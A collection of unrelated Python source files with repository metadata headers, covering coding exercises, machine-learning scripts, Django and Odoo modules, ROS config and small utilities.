b03811a2a5a5661848fbf370e6bba4eeb45fd36a | 584e9c42e6240b9facc866703a6f26b06773df94 | /TwilioSendGrid/stressful_subject.py | e3f8e396652697024e58f215a4cea54ffaf77bc9 | [] | no_license | anton-dovnar/checkio | 48fbaf84c244b0fca7bed5cf7f34179cf850adf9 | 10aed757ec36f182871a03ed8c9e73319cc8824a | refs/heads/master | 2023-03-24T16:23:39.524060 | 2021-03-12T13:07:04 | 2021-03-12T13:07:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 756 | py | #!/home/fode4cun/.local/share/virtualenvs/checkio-ufRDicT7/bin/checkio --domain=py run stressful-subject
#
# END_DESC
import re
def is_stressful(subj):
"""
recognize stressful subject
"""
if subj.isupper() or subj.endswith('!!!'):
return True
patterns = [r'(\b[help\!\-\.]{4,}\b)', r... | [
"[email protected]"
] | |
c6756abdb37e1f8b52dd5b35b3118afb8bc40f58 | ab825ee0326e98d115b6dc02bbda02b302787d46 | /応用編/41_csvファイルの読み書き/モジュール/01_CSVファイルの書き込み.py | bb00d85a58a09d9f502ac4e2f14bf4e26a8d34d9 | [] | no_license | holothuria/python_study | 295dd7c30a566b5a9688b9196e25bf6e065401a0 | 7e98090e64d646d23a4189e0efd68c2905b78d04 | refs/heads/master | 2020-03-23T20:04:38.900368 | 2019-03-05T12:47:53 | 2019-03-05T12:47:53 | 142,019,995 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 336 | py |
import csv
csv_file = open('./python.csv', 'w', newline='')
writer = csv.writer(csv_file)
row = ('python', '-', 'izm', '1')
writer.writerow(row)
rows = []
rows.append(('python', '-', 'izm', '2'))
rows.append(('python', '-', 'izm', '3'))
rows.append(('p,y,t,h,o,n', '-', 'i,z,m', '4'))
writer.writerows(rows)
csv_... | [
"[email protected]"
] | |
992f5347a46a745fa991942a9bdb04ea5c918b52 | b3d86713ed58e0b7fe3c1191324e36659c0d9d78 | /DataScience/ch10/evaluation_data.py | 94d29f7149b5f9ebae13989f4ba23eb44c469612 | [] | no_license | Kose-i/machine_learning_tutorial | 3d6cb30a20d65c66aa6efcba0e693de75791507a | def223fecb459ad1a6e7f9f36b3d733a89efd378 | refs/heads/master | 2021-07-03T10:37:26.809388 | 2020-07-27T12:53:19 | 2020-07-27T12:53:19 | 174,057,143 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,989 | py | import numpy as np
import numpy.random as random
import scipy as sp
from pandas import Series, DataFrame
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib as mpl
import seaborn as sns
sns.set()
import sklearn
from sklearn.datasets import load_breast_cancer
from sklearn.tree import DecisionTreeCl... | [
"[email protected]"
] | |
e86714e61dde836eeef750f7a800b133850db443 | acad69f0abe162eea0cb13cbe15bfd88f6da08b4 | /down-stream-tasks/mmdetection/mmdet/models/losses/ghm_loss.py | bc5eb774eab3c7515868c266182760c92061c911 | [
"Apache-2.0"
] | permissive | zhangzjn/EMO | 69afcac53800d8b9a390f1214e178e2ca4da3b24 | 141afbdbce04683790f0699f256327ec420be442 | refs/heads/main | 2023-08-27T19:04:23.313676 | 2023-08-15T04:09:55 | 2023-08-15T04:09:55 | 584,987,542 | 139 | 9 | null | null | null | null | UTF-8 | Python | false | false | 8,136 | py | # Copyright (c) OpenMMLab. All rights reserved.
import torch
import torch.nn as nn
import torch.nn.functional as F
from ..builder import LOSSES
from .utils import weight_reduce_loss
def _expand_onehot_labels(labels, label_weights, label_channels):
bin_labels = labels.new_full((labels.size(0), label_cha... | [
"[email protected]"
] | |
e7a6d17a22f5e9f8531f0d8e0c576cff70c8e1eb | 3474fd7e1ccd8dd4e0b4da5c67d89694c69ce73c | /batch3/outputs/bbn_yhe.py | 2d75b05e4272c8e13788d9378f35e7fd0e971249 | [] | no_license | mishakb/ISiTGR | 149e1235ed2fff6ee2452b53c23dbe46f5dcf17e | db4f6fed47162de6347b62b3f8ae832e4ffbfdf0 | refs/heads/master | 2023-01-16T02:42:31.787483 | 2021-03-12T04:39:18 | 2021-03-12T04:39:18 | 176,977,260 | 27 | 7 | null | 2023-01-02T15:19:33 | 2019-03-21T15:48:31 | HTML | UTF-8 | Python | false | false | 4,578 | py | import planckStyle as s
import numpy as np
import matplotlib.pyplot as plt
import sys
sys.path.insert(0, r'c:\work\dist\git\camb')
from camb.bbn import BBN_table_interpolator
BBNstandard = BBN_table_interpolator('PArthENoPE_880.2_standard.dat')
# BBN theoretical error
sigma_yp_theo = 0.0003
# resolution of the theore... | [
"[email protected]"
] | |
f7246f5b593196ab8c42ab3791fb27a636fa9877 | 2836c3caf8ca332635640a27254a345afd449081 | /nws/FFE/dump_text.py | 64ee6d4d5a352d51b778840d80848c276b2e4fec | [
"Apache-2.0",
"MIT"
] | permissive | akrherz/DEV | 27cf1bac978a0d6bbfba1851b90d2495a3bdcd66 | 3b1ef5841b25365d9b256467e774f35c28866961 | refs/heads/main | 2023-08-30T10:02:52.750739 | 2023-08-29T03:08:01 | 2023-08-29T03:08:01 | 65,409,757 | 2 | 0 | MIT | 2023-09-12T03:06:07 | 2016-08-10T19:16:28 | Jupyter Notebook | UTF-8 | Python | false | false | 1,179 | py | """Dump text from database."""
from pyiem.util import get_dbconn
def main():
"""Go Main Go."""
pgconn = get_dbconn("postgis")
cursor = pgconn.cursor()
cursor.execute(
"WITH data as ("
"SELECT wfo, eventid, issue at time zone 'UTC' as issue, report, "
"expire at time zone 'UTC'... | [
"[email protected]"
] | |
cf173c4188039fb9f7c03d8041bab18213f9fedf | 2dd0082221239fef0e0894c852f70f1eaeb62b9e | /Assignments/pete/python/lab12/lab12-guess_the_number-v5.py | 2c9c150c8bd62d806effabdefe672c22f7b08fbf | [] | no_license | pjz987/2019-10-28-fullstack-night | 03097cf3dc24aeec0c326044bb0fc99385fbc333 | 4c643013de73f08d7503d62ec602d6a5c80ffa7e | refs/heads/master | 2022-11-11T19:40:00.296645 | 2020-06-25T16:14:47 | 2020-06-25T16:14:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,139 | py | '''
lab12-guess_the_number-v5.py
V5
Swap the user with the computer: the user will pick a number, and the computer will make random guesses until they get it right.
'''
import random
import time
user_num = int(input("Welcome to Guess the Number v5.\nIn this program, computer guess you!\nPlease enter a number between 1 ... | [
"[email protected]"
] | |
ecad71b97f40fd1c4027e616ed6efc3e283cbe34 | 2442d073434d463cede4a79ae8f9fd31c62174f8 | /object-oriented-programming/composition/address.py | fec0ad8bea031d381431f42455a4d6f1d84773c9 | [] | no_license | grbalmeida/hello-python | 3630d75cfdde15223dc1c3a714fd562f6cda0505 | 4d9ddf2f7d104fdbc3aed2c88e50af19a39c1b63 | refs/heads/master | 2020-07-10T10:04:38.982256 | 2020-02-26T00:37:36 | 2020-02-26T00:37:36 | 204,237,527 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 173 | py | class Address:
def __init__(self, city, state):
self.city = city
self.state = state
def __del__(self):
print(f'{self.city}/{self.state} have been deleted')
| [
"[email protected]"
] | |
3fc82b879ed14d4f2cb2742b09238700a3f0c64f | 54e23ae20b7351f1e5db325b13cc9a106b3e581a | /transformer/layers.py | 723c431493e82ba286dc994ed9bec9d9c528fbf9 | [
"Apache-2.0"
] | permissive | okehkim/End-to-End-Speech-Recognition-Models | 191755c7fdab23ad61280279e200c9757824c64b | 7b4695bbc778e4d2c92470b56e2479c8d81d0079 | refs/heads/main | 2023-01-30T02:11:57.860303 | 2020-11-28T16:53:02 | 2020-11-28T16:53:02 | 316,779,547 | 0 | 0 | Apache-2.0 | 2020-11-28T16:52:27 | 2020-11-28T16:52:27 | null | UTF-8 | Python | false | false | 4,293 | py | # -*- coding: utf-8 -*-
# Soohwan Kim @ https://github.com/sooftware/
# This source code is licensed under the Apache 2.0 License license found in the
# LICENSE file in the root directory of this source tree.
import torch.nn as nn
from torch import Tensor
from typing import Tuple, Optional, Any
from transformer.sublay... | [
"[email protected]"
] | |
232acacec4a343733eb00b2811848b81ae867e9f | e3c8f786d09e311d6ea1cab50edde040bf1ea988 | /Incident-Response/Tools/dfirtrack/dfirtrack_main/tests/ip/test_ip_views.py | 099cf7ffc43e424cec6cb803e502f9a1d4a4f205 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | foss2cyber/Incident-Playbook | d1add8aec6e28a19e515754c6ce2e524d67f368e | a379a134c0c5af14df4ed2afa066c1626506b754 | refs/heads/main | 2023-06-07T09:16:27.876561 | 2021-07-07T03:48:54 | 2021-07-07T03:48:54 | 384,988,036 | 1 | 0 | MIT | 2021-07-11T15:45:31 | 2021-07-11T15:45:31 | null | UTF-8 | Python | false | false | 4,562 | py | from django.contrib.auth.models import User
from django.test import TestCase
from dfirtrack_main.models import Ip
import urllib.parse
class IpViewTestCase(TestCase):
""" ip view tests """
@classmethod
def setUpTestData(cls):
# create object
Ip.objects.create(ip_ip='127.0.0.1')
# c... | [
"[email protected]"
] | |
1bb2970dbed9a9c8f76d2ed9a6d205330e6218ef | b3858bf912bcdeb6fdf23646d94d2b9cd6e7900a | /Candy Race.py | 63c7d4b1575660a3662429db52355fb201d39a0d | [] | no_license | Programmer-Admin/binarysearch-editorials | eedf9e253e85324030260d44e798b0ca13645e63 | 12815fe3803cf5392ccfaadd38c7f50e882275c1 | refs/heads/main | 2023-02-06T04:59:25.279318 | 2020-12-26T20:45:34 | 2020-12-26T20:45:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 378 | py | """
Candy Race
Apparently you can solve this in 1ms, but here's a memoized recursive solution for your soul.
"""
from functools import lru_cache
class Solution:
def solve(self, candies):
@lru_cache(None)
def dfs(i,j):
if j<i: return 0
return max(candies[i]-dfs(i+1, j), candi... | [
"[email protected]"
] | |
6eab525395ba4dccbc34669ccc2adea80f44a930 | 98e821fe72b711b5d05dbaa7018541a643950291 | /edrnsite/collaborations/browser/groupspace.py | ef62ca89f22e62fa55a445b1d324247c5276f794 | [
"Apache-2.0"
] | permissive | EDRN/edrnsite.collaborations | e6b0a71a13a6171b9e48de3b8b39979ebb969504 | 2344b3fe2f60e1079823c688968329010d3c67d5 | refs/heads/master | 2021-01-18T21:09:51.188644 | 2018-09-05T14:58:42 | 2018-09-05T14:58:42 | 20,818,565 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 444 | py | # encoding: utf-8
# Copyright 2012 California Institute of Technology. ALL RIGHTS
# RESERVED. U.S. Government Sponsorship acknowledged.
'''EDRN Site Collaborations: group space view
'''
from Products.Five.browser import BrowserView
from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile
class GroupSp... | [
"[email protected]"
] | |
dbd85ec4828daa9922789e8a37df4ddb2a4a6b71 | e0f4db1f56bce425a1fe53796461b4b77f9f8c72 | /src/profiles/migrations/0002_auto_20180820_1928.py | bba3be33fd8426a98ccba6dbec71351398b86fac | [] | no_license | AhmedBafadal/My-Picks | a105feacb8d649ce10cee71d6c4308360e221d94 | 21a9143119f9933dcebd53c2fd252a2160ab0e58 | refs/heads/master | 2020-03-26T09:50:05.059463 | 2018-08-29T18:54:17 | 2018-08-29T18:54:17 | 144,767,334 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 756 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2018-08-20 18:28
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('profiles', '0001_initial'),
]
operations = [
... | [
"[email protected]"
] | |
554020e53113b860b8d0bbd5c0664b43fa6ae211 | 42a7b34bce1d2968079c6ea034d4e3f7bb5802ad | /ex51/gothonweb/bin/app.py | 4cbf3709fa4bf1a85bea1cd83292927e281bb187 | [] | no_license | linpan/LPTHW | 45c9f11265b5e1ffe0387a56cec192fa12c6c4d5 | 227bfee3098e8ecb5f07ffc3a0b8e64a853106ce | refs/heads/master | 2021-04-26T13:42:56.859644 | 2014-12-18T15:21:14 | 2014-12-18T15:21:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 527 | py | #! /usr/bin/env python
#coding:utf-8
import web
urls = (
'/hello','Index'
)
app = web.application(urls,globals())
render = web.template.render('/usr/local/LPTHW/ex51/gothonweb/templates/',base="layout")
class Index(object):
def GET(self):
return render.hello_form()
def POST(se... | [
"[email protected]"
] | |
a8ee7e66a35c09736719e1aa3b92405d4f0be455 | 3b11dc40c7d772fffeb4d8683e5c9791c41f6454 | /addons/product/wizard/product_price_list.py | ae6ce2aea495f5f257f7a39ca139f811bc6bf4f2 | [] | no_license | Jacky-odoo/Ecobank | b986352abac9416ab00008a4abaec2b1f1a1f262 | 5c501bd03a22421f47c76380004bf3d62292f79d | refs/heads/main | 2023-03-09T18:10:45.058530 | 2021-02-25T14:11:12 | 2021-02-25T14:11:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,082 | py | # -*- coding: utf-8 -*-
# Part of Byte. See LICENSE file for full copyright and licensing details.
from odoo import api, fields, models
class product_price_list(models.TransientModel):
_name = 'product.price_list'
_description = 'Price List'
price_list = fields.Many2one('product.pricelist', 'PriceList',... | [
"[email protected]"
] | |
ca7b25409a21a310db6153351cc71d886ecd96ad | 66c7b0da6ee27ddce0943945503cdecf199f77a2 | /hucrl/agent/tests/test_mpc_agent.py | a0b361bc8c294920b8fd24c0a2626d18525bcba2 | [
"MIT"
] | permissive | tzahishimkin/extended-hucrl | 07609f9e9f9436121bcc64ff3190c966183a2cd9 | c144aeecba5f35ccfb4ec943d29d7092c0fa20e3 | refs/heads/master | 2023-07-09T22:57:28.682494 | 2021-08-24T08:50:16 | 2021-08-24T08:50:16 | 383,819,908 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,789 | py | import copy
import os
import pytest
from rllib.agent import MPCAgent
from rllib.algorithms.mpc import CEMShooting, MPPIShooting, RandomShooting
from rllib.dataset.experience_replay import ExperienceReplay
from rllib.environment import GymEnvironment
from rllib.model.environment_model import EnvironmentModel
from rllib... | [
"[email protected]"
] | |
fbe0ba3fe7398923a4ecff8dc91faf96af99e846 | 28b5eedc39b697186ba9afc42ec544cd0b13c70d | /spark/regression/linear_regression.py | 1619640ed02616968947da8db3b6c2ddc873eeac | [] | no_license | arunpa0206/mltrainingtechcovery | 7915ccac779a186d3f1bfa1f6cebbe5ac2455422 | ce284c31eefa0468c88c790913532b87a0f77e3a | refs/heads/master | 2022-12-08T23:50:04.415494 | 2021-03-13T08:53:22 | 2021-03-13T08:53:22 | 224,205,026 | 2 | 10 | null | 2022-12-08T02:36:22 | 2019-11-26T13:58:42 | Jupyter Notebook | UTF-8 | Python | false | false | 1,109 | py |
# make pyspark importable as a regular library.
import findspark
# create a SparkSession
from pyspark.sql import SparkSession
spark = SparkSession.builder.getOrCreate()
# load data
data = spark.read.csv('./boston_housing.csv', header=True, inferSchema=True)
# create features vector
print(data.head(5))
feature_column... | [
"[email protected]"
] | |
581e7f1ac73ddc919efb69e776016f838a8ce99e | b44b690c96cfbaba35fa3cc32e8da4442adb9fad | /Python/1101. The Earliest Moment When Everyone Become Friends.py | 151cb5ceccfe90d52025d61102662b977a2e5ccc | [] | no_license | faisalraza33/leetcode | 24d610c6884e218719d82a5c79f1695cb6463d68 | d7cf4ffba14c6f1ff4551634f4002b53dfeae9b7 | refs/heads/master | 2022-08-10T02:05:21.932664 | 2022-07-05T09:59:47 | 2022-07-05T09:59:47 | 238,060,131 | 0 | 0 | null | 2020-02-03T20:54:51 | 2020-02-03T20:54:50 | null | UTF-8 | Python | false | false | 3,082 | py | # There are n people in a social group labeled from 0 to n - 1. You are given an array logs where logs[i] = [timestampi, x_i, y_i] indicates that x_i and y_i will be friends at the time timestampi.
# Friendship is symmetric. That means if a is friends with b, then b is friends with a. Also, person a is acquainted with ... | [
"[email protected]"
] | |
e3c31baedb01d6c813d3b7b845d8f3bcb35ed6e2 | c1c8b0363bb6dd52115c0aad9298b6573a6ba062 | /sparse_binary_number.py | c051e68a78ba80ce4b6058d4bf0ce5a1b3a8b3d7 | [
"MIT"
] | permissive | beepscore/sparse_binary_number | 3f5bd50e772c6e3345e8f57d4317c4a7d8e572d7 | a89c5b04189c5f7015855075222a0ced4a650db7 | refs/heads/master | 2021-01-10T20:28:56.885423 | 2015-05-14T18:38:41 | 2015-05-14T18:38:41 | 33,623,410 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,631 | py | #!/usr/bin/env python3
def next_sparse(sparse_number):
"""return next larger sparse number
Keyword arguments:
sparse_number -- a sparse number, as defined by is_sparse
This algorithm uses powers of two. Estimated time complexity >= O(log(n)).
"""
# print("sparse_number 0b{0:b}".forma... | [
"[email protected]"
] | |
fb013c9f1fb83d9df51c54bbae2e997159c4c7e8 | 059b43c54e69fdca5419d5565c19cc5cb0114a92 | /__unported__/sale_order_line_analytic/__openerp__.py | 9edf7867b2603f7b614f424a96badd02f2aaaa26 | [] | no_license | caiuka/eficent-odoo-addons | b3594b0e4d52594c95bb4cea39fdb47933e77d22 | 458df2c04944688c2273885b5d09fe3753e0ca7e | refs/heads/master | 2020-05-29T11:00:45.273732 | 2014-11-06T13:32:26 | 2014-11-06T13:32:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,086 | py | # -*- coding: utf-8 -*-
##############################################################################
#
# Copyright (C) 2014 Eficent (<http://www.eficent.com/>)
# <[email protected]>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero ... | [
"[email protected]"
] | |
ff5dff19f34684d16ef5281dee8f6be0988851a6 | 09652bdf74f8ade0cf56a75c9f716bda9dc6f4ff | /server/src/tests/samples/newType2.py | 31086a4f728f54cbba6821b213aacd9ac83b7663 | [
"MIT",
"LicenseRef-scancode-generic-cla"
] | permissive | zeronone/pyright | b68005063cc3623ae2f572a0fec1d4c7845ec57f | d9babcd56b08cb0be024c9d527df333cff5b2b97 | refs/heads/master | 2022-11-18T14:04:31.561923 | 2020-07-15T08:49:53 | 2020-07-15T08:49:53 | 278,020,180 | 0 | 0 | NOASSERTION | 2020-07-08T07:26:01 | 2020-07-08T07:26:00 | null | UTF-8 | Python | false | false | 400 | py | # This sample tests the special-case handle of the multi-parameter
# form of the built-in "type" call.
# pyright: strict
X1 = type("X1", (object,), dict())
X2 = type("X2", (object,), dict())
class A(X1):
...
class B(X2, A):
...
X3 = type(34, (object,))
X4 = type("X4", 34)
# This should generate an err... | [
"[email protected]"
] | |
a3d8178d3d9cd5166f52ef11be9060f61c192390 | 47e9f6cef4bfedf81a897d972cecfcf4616ae25f | /experiments/base_experiment.py | 0fb506e33939575baf2a0db46f1c3a9691fa894c | [] | no_license | wz139704646/MBRL_on_VAEs | 1d2b141f5a17746ffa527f3852dfe10bc73dcd27 | b0e8f66b3ade742445a41d3d5667032a931d94d2 | refs/heads/main | 2023-04-09T04:35:34.306860 | 2021-04-27T03:59:54 | 2021-04-27T03:59:54 | 323,389,851 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,633 | py | import abc
class BaseExperiment(metaclass=abc.ABCMeta):
"""base class for all kinds of experiments"""
def __init__(self, exp_configs, hook_before_run=None, hook_after_run=None):
"""initialize the experiment
:param exp_configs: the configurations needed in this experiment
:param hook_b... | [
"[email protected]"
] | |
cfe480d022ad715c760a2b50cc3d97fa9baf03a5 | 5374bd9a9fc8cc07f6966c490a137003ddc64d9b | /VEnCode/scripts/validation.py | 14fa681c8adc40990d15197e91301865df279be4 | [
"BSD-3-Clause"
] | permissive | AndreMacedo88/VEnCode | 31f9f545019f62e0af716395a11961515c229394 | 667c777c6ef12c43e993660e5c695d4d6d43385e | refs/heads/master | 2021-01-06T03:55:44.385885 | 2020-11-24T18:05:38 | 2020-11-24T18:05:38 | 90,248,803 | 0 | 1 | NOASSERTION | 2020-02-04T22:29:39 | 2017-05-04T10:02:48 | Python | UTF-8 | Python | false | false | 4,091 | py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
""" validation.py: file used to cross-validate VEnCodes found using the FANTOM5 data set. """
import os
import sys
import VEnCode.outside_data
file_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(file_dir)
from VEnCode import internals... | [
"[email protected]"
] | |
049f94be6d12bfee0f18ebcd3db8d97694c6293e | 22d8565bf563adcbc38f666dec3b57a1c3fd11f4 | /build/husky/husky_base/catkin_generated/pkg.installspace.context.pc.py | 84e0ed79d5a30c4ff0815b97e19969e016fab682 | [] | no_license | JJHbrams/DynamoP2.0 | 4c4160fcb81b7d6a4f2f0ce10e863fd8aa190a82 | a0d554b0620ac90ea3388ec3c2f5225baa6237c3 | refs/heads/master | 2021-01-03T19:55:42.136766 | 2020-11-11T04:42:43 | 2020-11-11T04:42:43 | 240,215,298 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 718 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "${prefix}/include;/usr/include".split(';') if "${prefix}/include;/usr/include" != "" else []
PROJECT_CATKIN_DEPENDS = "diagnostic_updater;hardware_interface;husky_msgs;roscpp;sensor_msgs".replace(';', ... | [
"[email protected]"
] | |
ed05634f40ffd828dade32145311476d092888ca | 951bd2ae0de80ebb03cdb5214d06c71b617dbdf6 | /Spark Streaming/TweetRead.py | 744587f609d2ff6dfff0cce8154dc29f2d82a2bd | [] | no_license | albertopformoso/Spark-and-Python-for-Big-Data-with-PySpark | c259fdc1d18e43dd4dbdbfa60c8eaff3080a2781 | 8789a0f0b218a46bd9accca27ca8faaea2ed7cdc | refs/heads/master | 2023-02-23T02:12:38.730739 | 2021-01-24T19:26:29 | 2021-01-24T19:26:29 | 330,278,792 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,681 | py | from dotenv import load_dotenv, find_dotenv
import tweepy
from tweepy import OAuthHandler
from tweepy import Stream
from tweepy.streaming import StreamListener
import socket
import json
import os
if len(find_dotenv()) == 0:
raise RuntimeError("Can't find your .env file")
# Set up your credentials
consumer_key = o... | [
"[email protected]"
] | |
f6e7f7cf4f1a49aa64ffb503f49ad5eeb1ce2097 | c6b15c628a185d9f71c91543aac3a90495152c09 | /Python Unit-Testing Course/.idea/VirtualEnvironment/Scripts/easy_install-3.7-script.py | 42bf3bd2e8c73d16b39b6f563df885427bd62bc2 | [] | no_license | reichlj/PythonBsp | 3e47d3b22b75cf1f67d3e47b83b125a1ddbc518d | 51c25370495d3a8847f46a9de1bc8e0d811ae5a7 | refs/heads/master | 2021-06-12T22:32:15.365906 | 2021-05-08T20:44:01 | 2021-05-08T20:44:01 | 173,499,716 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 485 | py | #!"C:\dev\PythonBsp\Python Unit-Testing Course\.idea\VirtualEnvironment\Scripts\python.exe"
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==39.1.0','console_scripts','easy_install-3.7'
__requires__ = 'setuptools==39.1.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[... | [
"[email protected]"
] | |
37e98194ea73e6a1e99634dbf212cd5d261da891 | 3fbfabfaaada7b9b77e8a1df8fed4de444070d49 | /session_10/create_db.py | c1c70ca97f2955670dfb74a0e794333f80293c9c | [
"MIT"
] | permissive | dravate/spark_python_course | df36a561ab2cf8f763dd02655319cd6bf5b7876c | 519389fdb21d78cd6d19e1ad2f7c782bc1449a83 | refs/heads/main | 2023-07-08T06:53:27.635106 | 2021-08-03T14:44:55 | 2021-08-03T14:44:55 | 385,127,461 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 260 | py | import os
import sqlite3
db_filename = 'todo.db'
new_db = not os.path.exists(db_filename)
conn = sqlite3.connect(db_filename)
if new_db:
print ("Please create Schema")
else:
print ("DB is already created - mostly the schema exists")
conn.close()
| [
"[email protected]"
] | |
170b7b398ab61f3b24b1986299996fa4ce73ce29 | d24a6e0be809ae3af8bc8daa6dacfc1789d38a84 | /other_contests/PAST2019/H.py | 5b5e04e27939ddcd508e3e8a2e1ea67db3e4dc3d | [] | no_license | k-harada/AtCoder | 5d8004ce41c5fc6ad6ef90480ef847eaddeea179 | 02b0a6c92a05c6858b87cb22623ce877c1039f8f | refs/heads/master | 2023-08-21T18:55:53.644331 | 2023-08-05T14:21:25 | 2023-08-05T14:21:25 | 184,904,794 | 9 | 0 | null | 2023-05-22T16:29:18 | 2019-05-04T14:24:18 | Python | UTF-8 | Python | false | false | 1,782 | py | def solve(n, c_list, q, s_list):
res = 0
dec_list_n = [0] * n
global_dec = 0
odd_dec = 0
global_min = min(c_list)
odd_min = min(c_list[0::2])
for i in range(q):
s = s_list[i]
if s[0] == "1":
_, x, a = map(int, s.split())
x -= 1
if x % 2 ... | [
"[email protected]"
] | |
2ebb4a3c821548b4cd7fbbd2eed1c70047122136 | e26cfc715513ae3b4393ea918e78ed5f27664dff | /src/textgrid_tools_tests/intervals/common_py/test_merge_intervals.py | f9d043c5f90ec45d259c06d011eee8b6db3d3313 | [
"MIT"
] | permissive | stefantaubert/textgrid-ipa | f4cd52b2c9d53570587b030dec758176229ee5e0 | ada294513315d76db7e91cbbfb7c386a75f84966 | refs/heads/main | 2023-06-09T01:30:18.159171 | 2023-05-30T15:23:18 | 2023-05-30T15:23:18 | 301,960,070 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 965 | py | from textgrid.textgrid import Interval
from textgrid_tools.intervals.common import merge_intervals
def test_component_include_empty():
intervals = (
Interval(0, 1, ""),
Interval(1, 2, "b"),
Interval(2, 3, " "),
Interval(3, 4, "c"),
Interval(4, 5, "d"),
)
result = merge_intervals(list(inter... | [
"[email protected]"
] | |
11f859a7d2ceaac0b717f0b785430b13ea39ee51 | cff2b7c96ca0355a44116f6d18f026da69e412b0 | /script.module.Galaxy/lib/resources/lib/modules/youtube.py | aad8ebbdf56a5370160d29b30a05da9d5af36820 | [
"Beerware"
] | permissive | krazware/therealufo | cc836e4e7049d277205bb590d75d172f5745cb7d | 4d6341c77e8c2cc9faec0f748a9a2d931b368217 | refs/heads/master | 2020-03-19T00:41:22.109154 | 2019-11-12T05:06:14 | 2019-11-12T05:06:14 | 135,496,631 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,193 | py | # -*- coding: UTF-8 -*-
#######################################################################
# ----------------------------------------------------------------------------
# "THE BEER-WARE LICENSE" (Revision 42):
# @tantrumdev wrote this file. As long as you retain this notice you
# can do whatever you want wit... | [
"[email protected]"
] | |
67cfe06d88e3de17422ae039a63a853c1b86bb5e | 064190a2de1ad156e1060f0efdee7e754a96b4bb | /Unit1/1.5.py | 07c1c3c95a554ba8ca6b0432b654b42f2fe5c8eb | [] | no_license | zqy1/pythonCookbook | 7254fadf3fac277b107941bc32e4716de3f7c329 | 89a05a2a4d723fb49548e0e87d2542bd5d07fbee | refs/heads/master | 2020-08-03T17:27:09.351396 | 2015-09-18T13:05:14 | 2015-09-18T13:05:14 | 73,540,483 | 1 | 0 | null | 2016-11-12T08:14:50 | 2016-11-12T08:14:50 | null | UTF-8 | Python | false | false | 1,758 | py | #!/usr/bin/env python
# encoding: utf-8
"""
1.5 实现优先级队列
我们想实现一个队列,它会按给定的优先级来对元素排序,
且每次 pop 操作时都返回优先级最高的那个元素
heapq 模块函数:
heappush(heap, item) # 将item压入堆中
heappop(heap) # 将堆中最小的元素弹出
heappushpop(heap, item) # 先将item压入heap中再弹出heap的堆顶元素
... | [
"[email protected]"
] | |
292162c5cafc53d1a12dc03d491b24cf96e78e25 | 1254f553b70353c6d4ee85c2497db23ebb7903f2 | /test/test_component_history_dto.py | 4355b4f43a4156efe6b2297894e9425535b89a0a | [
"Apache-2.0"
] | permissive | tspannhw/nifi-python-swagger-client | 05137bd2ad36706f323621ab2510abb124ce9bf9 | 0cc73d31a1143c3fa73237fd3d4702a7c3c5b3b1 | refs/heads/master | 2021-01-20T02:24:36.484855 | 2017-08-24T12:52:46 | 2017-08-24T12:52:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,377 | py | # coding: utf-8
"""
NiFi Rest Api
The Rest Api provides programmatic access to command and control a NiFi instance in real time. Start and stop processors, monitor queues, query provenance data, and more. Each endpoint below includes a description, ... | [
"[email protected]"
] | |
6da0bcecf30603f283acccf783ffabe67f975332 | e3402d37d5a9fb7ee3c3c73e95732d778f48b6fb | /com/kute/algorithms/__init__.py | fda4ab1360693493004b434ada15fd4d10c6bff4 | [] | no_license | kute/purepythontest | 51d3186ddaa2f1142382768380b776a1ba9469ed | 2baa1746a34cefe0be0e5f59be21450d330491a7 | refs/heads/master | 2020-04-12T06:20:14.957566 | 2018-03-18T07:03:22 | 2018-03-18T07:03:22 | 65,204,109 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 163 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = 'kute'
# __mtime__ = '16/5/24 21:40'
def main():
pass
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
484fb1aa20f41b92a393cd858ddb44178f0c42cf | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2482/60708/267104.py | aad8d1301873e9edbe9c748d5974ac162ce03841 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 610 | py | N=int(input())
for n in range(0,N):
x=int(input())
y=int(input())
result=list(str(x/y))
a=""#小数点前
b="."
for i in range(0,len(result)):
if(result[0])=='.':
a=a+result[0]
